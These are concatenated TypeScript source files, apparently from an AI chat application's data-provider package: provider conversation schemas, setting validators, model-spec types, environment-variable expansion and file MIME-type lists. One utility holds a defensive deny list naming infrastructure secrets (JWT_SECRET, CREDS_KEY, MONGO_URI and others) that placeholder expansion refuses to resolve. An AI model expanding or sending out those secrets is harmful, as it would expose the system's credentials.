obj.modelLabel ?? null,\n temperature: obj.temperature ?? 1,\n top_p: obj.top_p ?? 1,\n presence_penalty: obj.presence_penalty ?? 0,\n frequency_penalty: obj.frequency_penalty ?? 0,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : agentsSettings.resendFiles.default,\n imageDetail: obj.imageDetail ?? ImageDetail.auto,\n agent_id: obj.agent_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: agentsSettings.model.default,\n modelLabel: null,\n temperature: 1,\n top_p: 1,\n presence_penalty: 0,\n frequency_penalty: 0,\n resendFiles: agentsSettings.resendFiles.default,\n imageDetail: ImageDetail.auto,\n agent_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n maxContextTokens: undefined,\n }));\n\nexport const openAIBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n artifacts: true,\n imageDetail: true,\n stop: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n max_tokens: true,\n reasoning_effort: true,\n reasoning_summary: true,\n verbosity: true,\n useResponsesApi: true,\n web_search: true,\n disableStreaming: true,\n fileTokenLimit: true,\n});\n\nexport const openAISchema = openAIBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\nexport const compactGoogleSchema = googleBaseSchema\n .transform((obj) => {\n const newObj: Partial<TConversation> = { ...obj };\n if (newObj.temperature === google.temperature.default) {\n delete newObj.temperature;\n }\n if (newObj.maxOutputTokens === google.maxOutputTokens.default) {\n delete newObj.maxOutputTokens;\n }\n if (newObj.topP === google.topP.default) {\n delete newObj.topP;\n }\n if (newObj.topK === google.topK.default) {\n delete newObj.topK;\n }\n\n return removeNullishValues(newObj, true);\n })\n .catch(() => ({}));\n\nexport const anthropicBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n resendFiles: true,\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n web_search: true,\n fileTokenLimit: true,\n stop: true,\n stream: true,\n});\n\nexport const anthropicSchema = anthropicBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const tBannerSchema = z.object({\n bannerId: z.string(),\n message: z.string(),\n displayFrom: z.string(),\n displayTo: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n isPublic: z.boolean(),\n persistable: z.boolean().default(false),\n});\nexport type TBanner = z.infer<typeof tBannerSchema>;\n\nexport const compactAgentsBaseSchema = tConversationSchema.pick({\n spec: true,\n // model: true,\n iconURL: true,\n greeting: true,\n agent_id: true,\n instructions: true,\n additional_instructions: true,\n});\n\nexport const compactAgentsSchema = compactAgentsBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n","import { z, ZodArray, ZodError, ZodIssueCode } from 'zod';\nimport { tConversationSchema, googleSettings as google, openAISettings as openAI } from './schemas';\nimport type { ZodIssue } from 'zod';\nimport type { TConversation, TSetOption, TPreset } from './schemas';\n\nexport type GoogleSettings = Partial<typeof google>;\nexport type OpenAISettings = Partial<typeof google>;\n\nexport type ComponentType =\n | 'input'\n | 'textarea'\n | 'slider'\n | 'checkbox'\n | 'switch'\n | 'dropdown'\n | 'combobox'\n | 'tags';\n\nexport type OptionType = 'conversation' | 'model' | 'custom';\n\nexport type Option = Record<string, unknown> & {\n label?: string;\n value: string | number | null;\n};\n\nexport type OptionWithIcon = Option & { icon?: React.ReactNode };\n\nexport enum ComponentTypes {\n Input = 'input',\n Textarea = 'textarea',\n Slider = 'slider',\n Checkbox = 'checkbox',\n Switch = 'switch',\n Dropdown = 'dropdown',\n Combobox = 'combobox',\n Tags = 'tags',\n}\n\nexport enum SettingTypes {\n Number = 'number',\n Boolean = 'boolean',\n String = 'string',\n Enum = 'enum',\n Array = 'array',\n}\n\nexport enum OptionTypes {\n Conversation = 'conversation',\n Model = 'model',\n Custom = 'custom',\n}\nexport interface SettingDefinition {\n key: string;\n description?: string;\n type: 'number' | 'boolean' | 'string' | 'enum' | 'array';\n default?: number | boolean | string | string[];\n showLabel?: boolean;\n showDefault?: boolean;\n options?: string[];\n range?: SettingRange;\n enumMappings?: Record<string, number | boolean | string>;\n component: ComponentType;\n optionType?: OptionType;\n columnSpan?: number;\n columns?: number;\n label?: string;\n placeholder?: string;\n labelCode?: boolean;\n placeholderCode?: boolean;\n descriptionCode?: boolean;\n minText?: number;\n maxText?: number;\n minTags?: number; // Specific to tags component\n maxTags?: number; // Specific to tags component\n includeInput?: boolean; // Specific to slider component\n descriptionSide?: 'top' | 'right' | 'bottom' | 'left';\n items?: OptionWithIcon[]; // Specific to combobox component\n searchPlaceholder?: string; // Specific to combobox component\n selectPlaceholder?: string; // Specific to combobox component\n searchPlaceholderCode?: boolean; // Specific to combobox component\n selectPlaceholderCode?: boolean; // Specific to combobox component\n}\n\nexport type DynamicSettingProps = Partial<SettingDefinition> & {\n readonly?: boolean;\n settingKey: string;\n setOption: TSetOption;\n conversation: Partial<TConversation> | Partial<TPreset> | null;\n defaultValue?: number | boolean | string | string[];\n className?: string;\n inputClassName?: string;\n};\n\nconst requiredSettingFields = ['key', 'type', 'component'];\n\nexport interface SettingRange {\n min: number;\n max: number;\n step?: number;\n}\n\nexport type SettingsConfiguration = SettingDefinition[];\n\nexport function generateDynamicSchema(settings: SettingsConfiguration) {\n const schemaFields: { [key: string]: z.ZodTypeAny } = {};\n\n for (const setting of settings) {\n const {\n key,\n type,\n default: defaultValue,\n range,\n options,\n minText,\n maxText,\n minTags,\n maxTags,\n } = setting;\n\n if (type === SettingTypes.Number) {\n let schema = z.number();\n if (range) {\n schema = schema.min(range.min);\n schema = schema.max(range.max);\n }\n if (typeof defaultValue === 'number') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Boolean) {\n const schema = z.boolean();\n if (typeof defaultValue === 'boolean') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.String) {\n let schema = z.string();\n if (minText) {\n schema = schema.min(minText);\n }\n if (maxText) {\n schema = schema.max(maxText);\n }\n if (typeof defaultValue === 'string') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Enum) {\n if (!options || options.length === 0) {\n console.warn(`Missing or empty 'options' for enum setting '${key}'.`);\n continue;\n }\n\n const schema = z.enum(options as [string, ...string[]]);\n if (typeof defaultValue === 'string') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Array) {\n let schema: z.ZodSchema = z.array(z.string().or(z.number()));\n if (minTags && schema instanceof ZodArray) {\n schema = schema.min(minTags);\n }\n if (maxTags && schema instanceof ZodArray) {\n schema = schema.max(maxTags);\n }\n\n if (defaultValue && Array.isArray(defaultValue)) {\n schema = schema.default(defaultValue);\n }\n\n schemaFields[key] = schema;\n continue;\n }\n\n console.warn(`Unsupported setting type: ${type}`);\n }\n\n return z.object(schemaFields);\n}\n\nconst ZodTypeToSettingType: Record<string, string | undefined> = {\n ZodString: 'string',\n ZodNumber: 'number',\n ZodBoolean: 'boolean',\n};\n\nconst minColumns = 1;\nconst maxColumns = 4;\nconst minSliderOptions = 2;\nconst minDropdownOptions = 2;\nconst minComboboxOptions = 2;\n\n/**\n * Validates the provided setting using the constraints unique to each component type.\n * @throws {ZodError} Throws a ZodError if any validation fails.\n */\nexport function validateSettingDefinitions(settings: SettingsConfiguration): void {\n const errors: ZodIssue[] = [];\n // Validate columns\n const columnsSet = new Set<number>();\n for (const setting of settings) {\n if (setting.columns !== undefined) {\n if (setting.columns < minColumns || setting.columns > maxColumns) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid columns value for setting ${setting.key}. Must be between ${minColumns} and ${maxColumns}.`,\n path: ['columns'],\n });\n } else {\n columnsSet.add(setting.columns);\n }\n }\n }\n\n const columns = columnsSet.size === 1 ? columnsSet.values().next().value : 2;\n\n for (const setting of settings) {\n for (const field of requiredSettingFields) {\n if (setting[field as keyof SettingDefinition] === undefined) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Missing required field ${field} for setting ${setting.key}.`,\n path: [field],\n });\n }\n }\n\n // check accepted types\n const settingTypes = Object.values(SettingTypes);\n if (!settingTypes.includes(setting.type as SettingTypes)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid type for setting ${setting.key}. Must be one of ${settingTypes.join(\n ', ',\n )}.`,\n path: ['type'],\n });\n }\n\n // Predefined constraints based on components\n if (\n (setting.component === ComponentTypes.Tags && setting.type !== SettingTypes.Array) ||\n (setting.component !== ComponentTypes.Tags && setting.type === SettingTypes.Array)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Tags component for setting ${setting.key} must have type array.`,\n path: ['type'],\n });\n }\n\n if (setting.component === ComponentTypes.Tags) {\n if (setting.minTags !== undefined && setting.minTags < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid minTags value for setting ${setting.key}. Must be non-negative.`,\n path: ['minTags'],\n });\n }\n if (setting.maxTags !== undefined && setting.maxTags < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid maxTags value for setting ${setting.key}. Must be non-negative.`,\n path: ['maxTags'],\n });\n }\n if (setting.default && !Array.isArray(setting.default)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be an array.`,\n path: ['default'],\n });\n }\n if (setting.default && setting.maxTags && (setting.default as []).length > setting.maxTags) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must have at most ${setting.maxTags} tags.`,\n path: ['default'],\n });\n }\n if (setting.default && setting.minTags && (setting.default as []).length < setting.minTags) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must have at least ${setting.minTags} tags.`,\n path: ['default'],\n });\n }\n if (!setting.default) {\n setting.default = [];\n }\n }\n\n if (\n setting.component === ComponentTypes.Input ||\n setting.component === ComponentTypes.Textarea\n ) {\n if (setting.type === SettingTypes.Number && setting.component === ComponentTypes.Textarea) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Textarea component for setting ${setting.key} must have type string.`,\n path: ['type'],\n });\n // continue;\n }\n\n if (\n setting.minText !== undefined &&\n setting.maxText !== undefined &&\n setting.minText > setting.maxText\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `For setting ${setting.key}, minText cannot be greater than maxText.`,\n path: [setting.key, 'minText', 'maxText'],\n });\n // continue;\n }\n if (!setting.placeholder) {\n setting.placeholder = '';\n } // Default placeholder\n }\n\n if (setting.component === ComponentTypes.Slider) {\n if (setting.type === SettingTypes.Number && !setting.range) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Slider component for setting ${setting.key} must have a range if type is number.`,\n path: ['range'],\n });\n // continue;\n }\n if (\n setting.type === SettingTypes.Enum &&\n (!setting.options || setting.options.length < minSliderOptions)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Slider component for setting ${setting.key} requires at least ${minSliderOptions} options for enum type.`,\n path: ['options'],\n });\n // continue;\n }\n setting.includeInput =\n setting.type === SettingTypes.Number ? (setting.includeInput ?? true) : false; // Default to true if type is number\n }\n\n if (setting.component === ComponentTypes.Slider && setting.type === SettingTypes.Number) {\n if (setting.default === undefined && setting.range) {\n // Set default to the middle of the range if unspecified\n setting.default = Math.round((setting.range.min + setting.range.max) / 2);\n }\n }\n\n if (\n setting.component === ComponentTypes.Checkbox ||\n setting.component === ComponentTypes.Switch\n ) {\n if (setting.options && setting.options.length > 2) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Checkbox/Switch component for setting ${setting.key} must have 1-2 options.`,\n path: ['options'],\n });\n // continue;\n }\n if (!setting.default && setting.type === SettingTypes.Boolean) {\n setting.default = false; // Default to false if type is boolean\n }\n }\n\n if (setting.component === ComponentTypes.Dropdown) {\n if (!setting.options || setting.options.length < minDropdownOptions) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Dropdown component for setting ${setting.key} requires at least ${minDropdownOptions} options.`,\n path: ['options'],\n });\n // continue;\n }\n if (!setting.default && setting.options && setting.options.length > 0) {\n setting.default = setting.options[0]; // Default to first option if not specified\n }\n }\n\n if (setting.component === ComponentTypes.Combobox) {\n if (!setting.options || setting.options.length < minComboboxOptions) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Combobox component for setting ${setting.key} requires at least ${minComboboxOptions} options.`,\n path: ['options'],\n });\n }\n if (!setting.default && setting.options && setting.options.length > 0) {\n setting.default = setting.options[0];\n }\n }\n\n // Default columnSpan\n if (!setting.columnSpan) {\n setting.columnSpan = Math.floor((columns ?? 0) / 2);\n }\n\n // Default label to key\n if (!setting.label) {\n setting.label = setting.key;\n }\n\n // Validate minText and maxText for input/textarea\n if (\n setting.component === ComponentTypes.Input ||\n setting.component === ComponentTypes.Textarea\n ) {\n if (setting.minText !== undefined && setting.minText < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid minText value for setting ${setting.key}. Must be non-negative.`,\n path: ['minText'],\n });\n }\n if (setting.maxText !== undefined && setting.maxText < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid maxText value for setting ${setting.key}. Must be non-negative.`,\n path: ['maxText'],\n });\n }\n }\n\n // Validate optionType and conversation schema\n if (setting.optionType !== OptionTypes.Custom) {\n const conversationSchema =\n tConversationSchema.shape[setting.key as keyof Omit<TConversation, 'disableParams'>];\n if (!conversationSchema) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Setting ${setting.key} with optionType \"${setting.optionType}\" must be defined in tConversationSchema.`,\n path: ['optionType'],\n });\n } else {\n const zodType = conversationSchema._def.typeName;\n const settingTypeEquivalent = ZodTypeToSettingType[zodType] || null;\n if (settingTypeEquivalent !== setting.type) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Setting ${setting.key} with optionType \"${setting.optionType}\" must match the type defined in tConversationSchema.`,\n path: ['optionType'],\n });\n }\n }\n }\n\n /* Default value checks */\n if (\n setting.type === SettingTypes.Number &&\n isNaN(setting.default as number) &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a number.`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Boolean &&\n typeof setting.default !== 'boolean' &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a boolean.`,\n path: ['default'],\n });\n }\n\n if (\n (setting.type === SettingTypes.String || setting.type === SettingTypes.Enum) &&\n typeof setting.default !== 'string' &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a string.`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Enum &&\n setting.options &&\n !setting.options.includes(setting.default as string)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${\n setting.key\n }. Must be one of the options: [${setting.options.join(', ')}].`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Number &&\n setting.range &&\n typeof setting.default === 'number' &&\n (setting.default < setting.range.min || setting.default > setting.range.max)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be within the range [${setting.range.min}, ${setting.range.max}].`,\n path: ['default'],\n });\n }\n\n // Validate enumMappings\n if (setting.enumMappings && setting.type === SettingTypes.Enum && setting.options) {\n for (const option of setting.options) {\n if (!(option in setting.enumMappings)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Missing enumMapping for option \"${option}\" in setting ${setting.key}.`,\n path: ['enumMappings'],\n });\n }\n }\n }\n }\n\n if (errors.length > 0) {\n throw new ZodError(errors);\n }\n}\n\nexport const generateOpenAISchema = (customOpenAI: OpenAISettings) => {\n const defaults = { ...openAI, ...customOpenAI };\n return tConversationSchema\n .pick({\n model: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n maxContextTokens: true,\n })\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? defaults.model.default,\n chatGptLabel: obj.chatGptLabel ?? null,\n promptPrefix: obj.promptPrefix ?? null,\n temperature: obj.temperature ?? defaults.temperature.default,\n top_p: obj.top_p ?? defaults.top_p.default,\n presence_penalty: obj.presence_penalty ?? defaults.presence_penalty.default,\n frequency_penalty: obj.frequency_penalty ?? defaults.frequency_penalty.default,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : defaults.resendFiles.default,\n imageDetail: obj.imageDetail ?? defaults.imageDetail.default,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: defaults.model.default,\n chatGptLabel: null,\n promptPrefix: null,\n temperature: defaults.temperature.default,\n top_p: defaults.top_p.default,\n presence_penalty: defaults.presence_penalty.default,\n frequency_penalty: defaults.frequency_penalty.default,\n resendFiles: defaults.resendFiles.default,\n imageDetail: defaults.imageDetail.default,\n maxContextTokens: undefined,\n }));\n};\n\nexport const generateGoogleSchema = (customGoogle: GoogleSettings) => {\n const defaults = { ...google, ...customGoogle };\n return tConversationSchema\n .pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n maxContextTokens: true,\n })\n .transform((obj) => {\n return {\n ...obj,\n model: obj.model ?? defaults.model.default,\n modelLabel: obj.modelLabel ?? null,\n promptPrefix: obj.promptPrefix ?? null,\n examples: obj.examples ?? [{ input: { content: '' }, output: { content: '' } }],\n temperature: obj.temperature ?? defaults.temperature.default,\n maxOutputTokens: obj.maxOutputTokens ?? defaults.maxOutputTokens.default,\n topP: obj.topP ?? defaults.topP.default,\n topK: obj.topK ?? defaults.topK.default,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n };\n })\n .catch(() => ({\n model: defaults.model.default,\n modelLabel: null,\n promptPrefix: null,\n examples: [{ input: { content: '' }, output: { content: '' } }],\n temperature: defaults.temperature.default,\n maxOutputTokens: defaults.maxOutputTokens.default,\n topP: defaults.topP.default,\n topK: defaults.topK.default,\n maxContextTokens: undefined,\n }));\n};\n","import { z } from 'zod';\nimport type { TModelSpecPreset } from './schemas';\nimport {\n EModelEndpoint,\n tModelSpecPresetSchema,\n eModelEndpointSchema,\n AuthType,\n authTypeSchema,\n} from './schemas';\n\nexport type TModelSpec = {\n name: string;\n label: string;\n preset: TModelSpecPreset;\n order?: number;\n default?: boolean;\n description?: string;\n /**\n * Optional group name for organizing specs in the UI selector.\n * - If it matches an endpoint name (e.g., \"openAI\", \"groq\"), the spec appears nested under that endpoint\n * - If it's a custom name (doesn't match any endpoint), it creates a separate collapsible group\n * - If omitted, the spec appears as a standalone item at the top level\n */\n group?: string;\n /**\n * Optional icon URL for the group this spec belongs to.\n * Only needs to be set on one spec per group - the first one found with a groupIcon will be used.\n * Can be a URL or an endpoint name to use its icon.\n */\n groupIcon?: string | EModelEndpoint;\n showIconInMenu?: boolean;\n showIconInHeader?: boolean;\n iconURL?: string | EModelEndpoint; // Allow using project-included icons\n authType?: AuthType;\n webSearch?: boolean;\n fileSearch?: boolean;\n executeCode?: boolean;\n artifacts?: string | boolean;\n mcpServers?: string[];\n};\n\nexport const tModelSpecSchema = z.object({\n name: z.string(),\n label: z.string(),\n preset: tModelSpecPresetSchema,\n order: z.number().optional(),\n default: z.boolean().optional(),\n description: z.string().optional(),\n group: z.string().optional(),\n groupIcon: z.union([z.string(), eModelEndpointSchema]).optional(),\n showIconInMenu: z.boolean().optional(),\n showIconInHeader: z.boolean().optional(),\n iconURL: z.union([z.string(), eModelEndpointSchema]).optional(),\n authType: authTypeSchema.optional(),\n webSearch: z.boolean().optional(),\n fileSearch: z.boolean().optional(),\n executeCode: z.boolean().optional(),\n artifacts: z.union([z.string(), z.boolean()]).optional(),\n mcpServers: z.array(z.string()).optional(),\n});\n\nexport const specsConfigSchema = z.object({\n enforce: z.boolean().default(false),\n prioritize: z.boolean().default(true),\n list: z.array(tModelSpecSchema).min(1),\n addedEndpoints: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n});\n\nexport type TSpecsConfig = z.infer<typeof specsConfigSchema>;\n","export const envVarRegex = /^\\${(.+)}$/;\n\n/**\n * Infrastructure env vars that must never be resolved via placeholder expansion.\n * These are internal secrets whose exposure would compromise the system —\n * they have no legitimate reason to appear in outbound headers, MCP env/args, or OAuth config.\n *\n * Intentionally excludes API keys (operators reference them in config) and\n * OAuth/session secrets (referenced in MCP OAuth config via processMCPEnv).\n */\nconst SENSITIVE_ENV_VARS = new Set([\n 'JWT_SECRET',\n 'JWT_REFRESH_SECRET',\n 'CREDS_KEY',\n 'CREDS_IV',\n 'MEILI_MASTER_KEY',\n 'MONGO_URI',\n 'REDIS_URI',\n 'REDIS_PASSWORD',\n]);\n\n/** Returns true when `varName` refers to an infrastructure secret that must not leak. */\nexport function isSensitiveEnvVar(varName: string): boolean {\n return SENSITIVE_ENV_VARS.has(varName);\n}\n\n/** Extracts the environment variable name from a template literal string */\nexport function extractVariableName(value: string): string | null {\n if (!value) {\n return null;\n }\n\n const match = value.trim().match(envVarRegex);\n return match ? match[1] : null;\n}\n\n/** Extracts the value of an environment variable from a string. */\nexport function extractEnvVariable(value: string) {\n if (!value) {\n return value;\n }\n\n const trimmed = value.trim();\n\n const singleMatch = trimmed.match(envVarRegex);\n if (singleMatch) {\n const varName = singleMatch[1];\n if (isSensitiveEnvVar(varName)) {\n return trimmed;\n }\n return process.env[varName] || trimmed;\n }\n\n const regex = /\\${([^}]+)}/g;\n let result = trimmed;\n\n const matches = [];\n let match;\n while ((match = regex.exec(trimmed)) !== null) {\n matches.push({\n fullMatch: match[0],\n varName: match[1],\n index: match.index,\n });\n }\n\n for (let i = matches.length - 1; i >= 0; i--) {\n const { fullMatch, varName, index } = matches[i];\n if (isSensitiveEnvVar(varName)) {\n continue;\n }\n const envValue = process.env[varName] || fullMatch;\n result = result.substring(0, index) + envValue + result.substring(index + fullMatch.length);\n }\n\n return result;\n}\n\n/**\n * Normalize the endpoint name to system-expected value.\n * @param name\n */\nexport function normalizeEndpointName(name = ''): string {\n return name.toLowerCase() === 'ollama' ? 'ollama' : name;\n}\n","import { z } from 'zod';\nimport type { EndpointFileConfig, FileConfig } from './types/files';\nimport { EModelEndpoint, isAgentsEndpoint, isDocumentSupportedProvider } from './schemas';\nimport { normalizeEndpointName } from './utils';\n\nexport const supportsFiles = {\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.google]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.bedrock]: true,\n};\n\nexport const excelFileTypes = [\n 'application/vnd.ms-excel',\n 'application/msexcel',\n 'application/x-msexcel',\n 'application/x-ms-excel',\n 'application/x-excel',\n 'application/x-dos_ms_excel',\n 'application/xls',\n 'application/x-xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n];\n\nexport const fullMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'text/vtt',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/x-sh',\n 'application/typescript',\n 'application/sql',\n 'application/yaml',\n 'application/vnd.coffeescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n 'application/vnd.oasis.opendocument.text',\n 'application/vnd.oasis.opendocument.spreadsheet',\n 'application/vnd.oasis.opendocument.presentation',\n 'application/vnd.oasis.opendocument.graphics',\n 'image/svg',\n 'image/svg+xml',\n // Video formats\n 'video/mp4',\n 'video/avi',\n 'video/mov',\n 'video/wmv',\n 'video/flv',\n 'video/webm',\n 'video/mkv',\n 'video/m4v',\n 'video/3gp',\n 'video/ogv',\n // Audio formats\n 'audio/mp3',\n 'audio/wav',\n 'audio/ogg',\n 'audio/m4a',\n 'audio/aac',\n 'audio/flac',\n 'audio/wma',\n 'audio/opus',\n 'audio/mpeg',\n ...excelFileTypes,\n];\n\nexport const codeInterpreterMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/typescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n ...excelFileTypes,\n];\n\nexport const retrievalMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n];\n\nexport const imageExtRegex = /\\.(jpg|jpeg|png|gif|webp|heic|heif)$/i;\n\n/** @see https://docs.aws.amazon.com/bedrock/latest/APIReference/API_runtime_DocumentBlock.html */\nexport type BedrockDocumentFormat =\n | 'pdf'\n | 'csv'\n | 'doc'\n | 'docx'\n | 'xls'\n | 'xlsx'\n | 'html'\n | 'txt'\n | 'md';\n\n/** Maps MIME types to Bedrock Converse API document format values */\nexport const bedrockDocumentFormats: Record<string, BedrockDocumentFormat> = {\n 'application/pdf': 'pdf',\n 'text/csv': 'csv',\n 'application/csv': 'csv',\n 'application/msword': 'doc',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 'docx',\n 'application/vnd.ms-excel': 'xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 'xlsx',\n 'text/html': 'html',\n 'text/plain': 'txt',\n 'text/markdown': 'md',\n};\n\nexport const isBedrockDocumentType = (mimeType?: string): boolean =>\n mimeType != null && mimeType in bedrockDocumentFormats;\n\n/** File extensions accepted by Bedrock document uploads (for input accept attributes) */\nexport const bedrockDocumentExtensions =\n '.pdf,.csv,.doc,.docx,.xls,.xlsx,.html,.htm,.txt,.md,application/pdf,text/csv,application/csv,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,text/html,text/plain,text/markdown';\n\nexport const excelMimeTypes =\n /^application\\/(vnd\\.ms-excel|msexcel|x-msexcel|x-ms-excel|x-excel|x-dos_ms_excel|xls|x-xls|vnd\\.openxmlformats-officedocument\\.spreadsheetml\\.sheet)$/;\n\nexport const textMimeTypes =\n /^(text\\/(x-c|x-csharp|tab-separated-values|x-c\\+\\+|x-h|x-java|html|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|css|vtt|javascript|csv|xml))$/;\n\nexport const applicationMimeTypes =\n /^(application\\/(epub\\+zip|csv|json|msword|pdf|x-tar|x-sh|typescript|sql|yaml|x-parquet|vnd\\.apache\\.parquet|vnd\\.coffeescript|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation|spreadsheetml\\.sheet)|vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)|xml|zip))$/;\n\nexport const imageMimeTypes = /^image\\/(jpeg|gif|png|webp|heic|heif)$/;\n\nexport const audioMimeTypes =\n /^audio\\/(mp3|mpeg|mpeg3|wav|wave|x-wav|ogg|vorbis|mp4|m4a|x-m4a|flac|x-flac|webm|aac|wma|opus)$/;\n\nexport const videoMimeTypes = /^video\\/(mp4|avi|mov|wmv|flv|webm|mkv|m4v|3gp|ogv)$/;\n\nexport const defaultOCRMimeTypes = [\n imageMimeTypes,\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)$/,\n /^application\\/vnd\\.ms-(word|powerpoint)$/,\n /^application\\/epub\\+zip$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)$/,\n];\n\n/** MIME types handled by 